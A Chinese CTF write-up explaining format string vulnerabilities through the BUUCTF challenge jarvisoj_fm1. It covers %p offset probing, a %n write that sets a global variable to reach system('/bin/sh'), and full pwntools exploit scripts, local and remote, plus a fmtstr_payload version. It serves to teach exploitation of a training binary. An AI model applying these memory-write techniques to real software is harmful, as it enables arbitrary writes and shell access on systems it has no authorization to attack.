恒美微站
首页
关于我们
建站服务
主题模板
案例展示
资讯中心
联系我们
格式化字符串漏洞原理与实战:从printf到拿到shell
首页
资讯中心
/
格式化字符串漏洞原理与实战:从printf到拿到shell
格式化字符串漏洞原理与实战:从printf到拿到shell
发布时间:2026/10/10 9:50:33
格式化字符串漏洞在CTF的PWN方向里属于那种“会者不难难者不会”的经典入门点。我最早遇到它的时候对着逆向工具里的printf(buf)看了半天想不通为什么一行看起来人畜无害的代码就能让人直接拿到shell。后来真正搞懂了它背后“参数错位”的原理才发现这类漏洞的利用套路其实非常固定而且一旦掌握很多同类型的题都能秒出思路。今天就用BUUCTF平台上的 jarvisoj_fm1 这道题从格式化字符串漏洞的原理开始到实际手工构造payload把整个流程完整走一遍。这篇文章适合谁看如果你刚接触PWN栈溢出已经能看懂但遇到格式化字符串题还是一脸懵或者你在BUUCTF上做了一题网上wp里的%16$n让你完全摸不着头脑再或者你想系统地把“读内存”“写内存”这两个利用方向一次性搞清楚那这篇内容应该能帮到你。我不会只丢一个能直接跑的exp而是把每一步为什么这么写、地址从哪来、偏移怎么测都拆开讲。1. 先搞懂printf为什么会翻车1.1 可变参数与“按图索骥”的栈读取格式化字符串漏洞的本质是C语言可变参数函数的设计缺陷。printf这类函数接收任意多个参数它对参数数量的把握完全依赖格式串format string里的占位符。什么意思呢当你说printf(%d %d, a, b)时编译器根据格式串里的两个%d把 a 和 b 压到栈上。可函数自己并不知道“实际传了几个参数”它只是严格按照格式串里的占位符数量一个接一个地从栈上取数据。问题就出在这里如果格式串本身也由用户控制用户就可以写%d%d%d%d%d%d%d%d让printf把栈上根本不属于它的数据也当作参数打印出来。这就好比你去食堂打菜跟阿姨说“给我三菜一汤”但没说清楚是哪三菜阿姨就按面前锅里的顺序挨个打锅里有什么就打什么。printf就是那个阿姨格式串里的占位符是你的点单指令栈上连着的内存就是那一排锅。正常情况下格式串是开发者写死的比如printf(hello %s, name)占位符数量和参数对得上不会出差错。可一旦格式串来自用户输入比如代码里写了printf(user_input)那整个栈上的数据就都暴露在攻击者面前了。1.2 占位符速查你点的菜和实际上的菜要想利用这个漏洞先得认识几个关键的格式化占位符。平时写代码常用的%d、%s大家很熟但在PWN里真正重要的是下面这几个占位符作用利用价值%d/%i以十进制整数输出参数泄露整数值%x以十六进制输出参数泄露栈上数据观察字节布局%p以指针形式输出参数泄露栈地址、libc地址最直观%s把参数作为指针输出该地址指向的内存配合可控地址实现任意地址读%n不输出任何字符把“已输出的字符数”写入参数指向的内存配合可控地址实现任意地址写重点先放在%p和%n上。%p是泄露信息的好帮手而%n是整个格式化字符串漏洞利用的核心武器。很多人第一次做题只用了%n改数据忽略了%p但测偏移、算地址全靠它。1.3 %n从“读”到“写”的关键一跃%n的语义和其它占位符完全不同。它不输出内容而是把printf到目前为止已经输出的字符个数写入一个指针参数指向的内存地址。举个例子int x 0; printf(AAAA%n, x); // 此时 x 4因为%n之前已经输出了4个字符到这里你可能已经意识到危险了如果攻击者能通过可控的格式串把一个目标地址交给%n就能往任意地址写入任意值。写入的值由“已经输出的字符数”控制所以配合%c的宽度控制比如%10c就会强制输出10个字符从而精确控制写入的数值。这就是漏洞从“读栈上信息”升级为“任意地址写”的关键一步。后面的所有利用包括改全局变量、改GOT表、劫持流程底层都是这个“写入字符数”的机制。2. jarvisoj_fm1 题目初探一个需要修改全局变量的倒霉程序2.1 拿到二进制之后的第一轮检查BUUCTF上这道题的附件是一个32位ELF文件。拿到手之后我习惯性地先跑三个命令这三个命令是PWN题的固定起手式。file fm checksec --file./fmfile的执行结果一般是这样的fm: ELF 32-bit LSB executable, Intel 80386, dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32确认是32位程序。32位和64位的利用差异会很大后面我会专门讲做法为什么不同。接着看保护机制Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)看到No PIE是关键说明程序加载地址固定全局变量的地址是写死的。这就让我们后续可以直接引用固定地址。No canary found说明栈上没有金丝雀虽然本题用不太上但也符合一个入门题的友好定位。2.2 反汇编与伪代码漏洞点一眼定位用IDA或者Ghidra打开main函数逻辑大致是这样的int x; // 全局变量位于 .bss 段 int main() { char buf[80]; setvbuf(stdout, 0, 2, 0); puts(Lets see if you know how to modify variables); read(0, buf, 100u); printf(buf); if (x 4) system(/bin/sh); return 0; }如果手边没有IDA用命令行反汇编也一样objdump -d fm -Mintel | grep -A 40 main:你会看到类似这样的关键片段lea eax, [ebp-0x58] mov [esp], eax call read lea eax, [ebp-0x58] mov [esp], eax call printf mov eax, ds:0x804a044 cmp eax, 4 jne 0x80484e8 mov DWORD PTR [esp], 0x8048604 call system这里出现了两件很重要的事。第一read把用户输入读到了栈上的buf里随后printf直接把这个buf当格式串使用这就是最典型的格式化字符串漏洞点。你没有给printf任何其它参数而格式串完全由玩家控制。第二程序后面比较了某个全局变量的值如果等于4就调用system(/bin/sh)。这个全局变量就是源码里的x它的地址是反汇编里看到的ds:0x804a044。2.3 我们的利用目标x 4所以这道题的利用目标非常明确在printf(buf)执行的时候把x的值改成4。不需要ROP不需要栈溢出只需要利用格式化字符串的%n写入能力。这里有个很容易被新手忽略的点程序读入100字节到80字节的栈缓冲区里看起来像是有栈溢出但那不是正路。重点关注的是格式化字符串漏洞而不是溢出。做题前先把题目想清楚拿到shell的方式不止一种选最顺的。全局变量x不在栈上而在.bss段地址是固定的。因为程序没开PIE我们就可以把这个绝对地址直接写进payload。3. 手工构造payload的完整流程3.1 定位x的真实地址我在本地复现时x的地址是0x0804A044。这个地址不是靠猜的有两种办法确认。第一种命令行直接查符号表objdump -t fm | grep x$或者readelf -s fm | grep x$第二种在IDA里点一下变量x看它的段地址。注意不同平台、不同版本的题目附件地址可能会有一点差异网上wp里给的地址不一定和你本地的完全一致。所以拿到题先查自己这份二进制这是基本功。查之前先解释一下这个地址为什么能用程序开了NX但没有开PIE.bss段的地址在链接时被固定在0x0804A044附近不会因为这些进程级保护而改变。要是开了PIE就得先泄露程序基址那就麻烦得多了。3.2 偏移怎么测%p连环钩有了目标地址现在需要知道的是buf里的内容到底对应printf的第几个参数。这个数字直接决定我们写%几$n。我第一次做这种题的时候总是搞不清楚偏移后来养成一个习惯上来自动化测一遍。方法很简单发送一串AAAA开头后面跟一大堆%p占位符AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.用本地进程跑一下观察输出里0x41414141出现在第几个%p的位置。0x41就是字符A的十六进制ASCII码如果某个%p打印出了0x41414141说明当前参数位置正好对应buf开头的4个字节。以这道题常见的编译结果来说0x41414141会出现在第16个%p附近。我在本地实测的结果就是第16个也就是用%16$n去访问它。但我要强调一下这个数字受编译选项、libc版本影响不同环境可能不一样。所以拿任何一道格式化字符串题第一件事就是亲手测一遍偏移不要只背wp里的数字。如果用了pwntools这个过程可以半自动化。甚至可以先连上去发一串%p看回包里的第几个位置出现了自己的标记字节。把偏移写死在纸上后面构造payload就不会糊涂。3.3 payload逐字节拆解现在到了最核心的部分。网上常见的exp核心payload就一行payload p32(0x0804A044) b%16$n这行代码看着短里面信息量其实很大。我拆开讲。p32(0x0804A044)是把x的地址按32位小端格式转成4个字节。把这4个字节放在payload最前面正好对应%p测试时buf首部的位置也就是第16个参数的位置。这样当printf执行到%16$n时它会从栈上的第16个参数位置取出这个4字节数据当作一个内存地址然后去这个地址写入数据。写入的数据是多少呢%n写入的是“当前已经输出的字符数”。而printf输出到目前为“已经”输出了多少字符答案就是payload开头那4个字节。printf会把这4个字节当作普通字符串原样输出哪怕里面是不可打印字符它也会按4个字符计数。所以遇到%n那一刻输出字符数是4写入x的值就是4。这就正好满足后续判断条件x 4。一切的巧合其实都是设计好的。很多新手会问为什么地址要放在payload最前面而不能放在%16$n后面因为格式化字符串利用的核心约束是所有需要被printf“当作参数读取”的数据都必须出现在格式串里可控的位置。在32位下printf对可变参数的读取是从栈上一个固定位置开始的而buf这个栈缓冲区的内容恰好能被某些参数索引到。把目标地址放在buf首部它才能成为第16个参数。放到后面第16个参数位置上就是别的数据%n会把那个数据当作地址去写入大概率直接段错误。第二个细节x的地址是0x0804A044转成小端是\x44\xa0\x04\x08这4个字节里没有出现0x00。这是个很幸运的巧合。如果一个地址是0x0804A000之类小端排列就会以\x00开头printf解析格式串遇到\x00会直接截断后面的%16$n根本不会执行。这个坑放到第4节再展开。3.4 完整exp本地打与远程打把上面的思路拼起来一个完整的本地exp是这样的from pwn import * context(oslinux, archi386, log_leveldebug) p process(./fm) x_addr 0x0804A044 payload p32(x_addr) b%16$n p.sendline(payload) p.interactive()本地跑通了远程打BUUCTF时只需要换一下目标from pwn import * context(oslinux, archi386, log_leveldebug) p remote(node4.buuoj.cn, 12345) # 端口换成题目页面给的地址 # p process(./fm) x_addr 0x0804A044 payload p32(x_addr) b%16$n p.sendline(payload) p.interactive()端口那里根据BUUCTF题目页面显示的来平台每次开放的端口不固定。一个小细节sendline会在payload末尾自动加一个换行。这个换行是在%16$n之后被printf处理的所以字符计数仍然是4不会影响结果。但如果你手贱写成p32(x_addr) b\n b%16$n换行先被输出x就会被写成5题目就卡住了。这种“先后顺序影响计数”的坑值得记一下。3.5 自动化方法fmtstr_payload当你理解了手工构造原理之后可以试着用pwntools提供的自动化函数来加速from pwn import * context(oslinux, archi386) p process(./fm) x_addr 0x0804A044 payload fmtstr_payload(16, {x_addr: 4}) p.sendline(payload) p.interactive()fmtstr_payload(offset, {address: value})的意思是在偏移为16的位置向address写入value。它内部会帮你生成一段扩充的payload里面可能包含多个%c和多个%hn因为它要把4精确地拆成字节来写。这里我必须强调一个学习态度的问题自动化函数“能用”不代表“理解”。我建议新手至少手写完成一遍这道题再回去用fmtstr_payload。这样才能真正理解它生成的payload为什么那么长为什么里面既有%c又有%hn。否则下次题目稍微变一下比如要求写0x804A044这种大数你根本不知道怎么改。4. 实战避坑那些年我们都踩过的格式化字符串坑4.1 现象、原因、对策速查表做题做得多了你会发现格式化字符串的坑其实就那几个。我整理了一个速查表遇到问题先对着看。现象可能原因排查方法发送payload后程序直接崩了偏移算错%n把某个非法值当地址写了先用%p链重新测偏移程序正常输出但没进shellx的值没被改成4可能地址不对或写入值不对objdump -t重新确认地址检查输出字符数本地能通远程不通远程环境和本地环境偏移不一致或平台端口变更远程也先发%p链测一遍偏移payload里地址有0x00后面的%n没执行printf在\x00处截断格式串不完整把地址挪到payload末尾或用分段写入sendline之后x变成了5而不是4换行符被printf在%n之前输出了确认换行在%n之后不要手动插换行标准排查流程我一般是这样本地开context.log_leveldebug先把收到的输出全部打出来看%p链的实际布局再看%n之前到底输出了多少个字符最后确认写地址时用的是不是p32而不是p64。这个流程解决了我90%的问题。4.2 地址里有0x00怎么办前面提到x的地址0x0804A044没有包含0x00所以我们可以放心地把地址放在payload最前面。但很多题目的目标地址不一定这么友好。比如地址是0x0804A000小端排列就是\x00\xa0\x04\x08如果放在格式串开头printf解析到第一个字符\x00就认为格式串结束了后面的%16$n成了摆设。这种情况下思路就是把地址从格式串的可变参数位置挪到payload末尾。格式串中间先用大量的填充字符占位再用%16$n之前的某个参数编号指向末尾的地址。但你得保证末尾地址能被某个参数索引到并且前半部分格式串即使遇到\x00也不会截断到那些%n指令。常见的做法是地址放在payload尾部然后用%hhn分段一次写一个字节。这算是进阶内容但思想上和这道题是一脉相承的。4.3 32位和64位的根本差异fm1是32位程序所以exp里用的p32。如果你开始打64位题目会发现有两个明显变化。第一64位下前6个函数参数优先使用寄存器传递第7个开始才走栈所以%p链测出来的偏移起点和32位完全不同通常从第6个参数之后才开始看栈上的用户输入。第二payload里的地址是8字节为了让后面跟的格式串不出现\x00对齐规则也变了经常需要在地址和格式串之间插入填充字节。所以看到64位题第一反应不能是把32位的payload照搬一定要先弄清参数传递规则。4.4 把fm1吃透之后接下来练什么做完这道题建议不要急着开新题先把原理复盘一遍。我个人的做法是把%p链测偏移的步骤写成一个可复用的模板函数之后的所有格式化字符串题都能直接调用。接着去刷几道类似的基础题你会发现套路是一样的定位可控偏移、确定目标地址、用%n写入目标值。再往后就可以往三个方向深入。第一用%s做任意地址读泄露GOT表里的真实libc地址为ret2libc铺路。第二用%n全家桶改GOT表项把某个函数地址改成system或one_gadget。第三结合FULL RELRO、PIE这类保护机制研究格式化字符串在完整防护下的高级打法。这一套练下来你对PWN里“读写任意内存”的理解会上升一大截。我个人在实际操作中的体会是fm1这道题最大的价值不是让你记住了%16$n这个具体偏移而是让你理解“参数索引”和“字符计数”这两个概念。一旦你亲手跑完一次%p链看到自己发的字节在栈上第几个位置出现再亲手用%n把那块内存改成4触发system(/bin/sh)那种感觉是很奇妙的。它说明你已经从一个只知道抄exp的新手变成了一个能自己构造利用的选手。最后再分享一个我踩过很多次才改过来的习惯不管题目看上去多简单拿到附件先把checksec的输出、目标地址、偏移、payload都写在纸上然后再动手敲代码。别看这只是一个流程问题它能帮你少浪费大量在调试器里发呆的时间。